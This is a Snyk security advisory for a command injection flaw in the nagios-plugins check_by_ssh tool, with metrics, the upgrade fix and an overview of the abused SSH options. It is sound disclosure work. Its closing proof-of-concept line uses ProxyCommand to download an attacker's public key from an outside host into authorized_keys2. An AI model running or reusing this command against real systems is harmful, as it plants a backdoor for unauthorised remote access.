Command Injection Affecting nagios-plugins/nagios-plugins package, versions [1.0.0,2.4.5)
Threat Intelligence
Exploit Maturity
Proof of concept
EPSS
0.05% (17th
percentile)
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Test your applications- Snyk ID SNYK-UNMANAGED-NAGIOSPLUGINSNAGIOSPLUGINS-8179648
- published 10 Oct 2024
- disclosed 9 Oct 2024
- credit Joshua Rogers
Introduced: 9 Oct 2024
CVE-2023-37154 Open this link in a new tabHow to fix?
Upgrade nagios-plugins/nagios-plugins to version 2.4.5 or higher.
Overview
Affected versions of this package are vulnerable to Command Injection through the check_by_ssh process. An attacker can execute arbitrary commands by exploiting the ProxyCommand, LocalCommand, and PermitLocalCommand options with special characters such as ${IFS}.
PoC
check_by_ssh --command=ls -s 1 -H my-server.net -l someuser -v -o PermitLocalCommand=yes -o StrictHostKeyChecking=no -o ProxyCommand=wget\${IFS}-O\${IFS}.ssh/authorized_keys2\${IFS}http://my-website.com/pubkey.txt"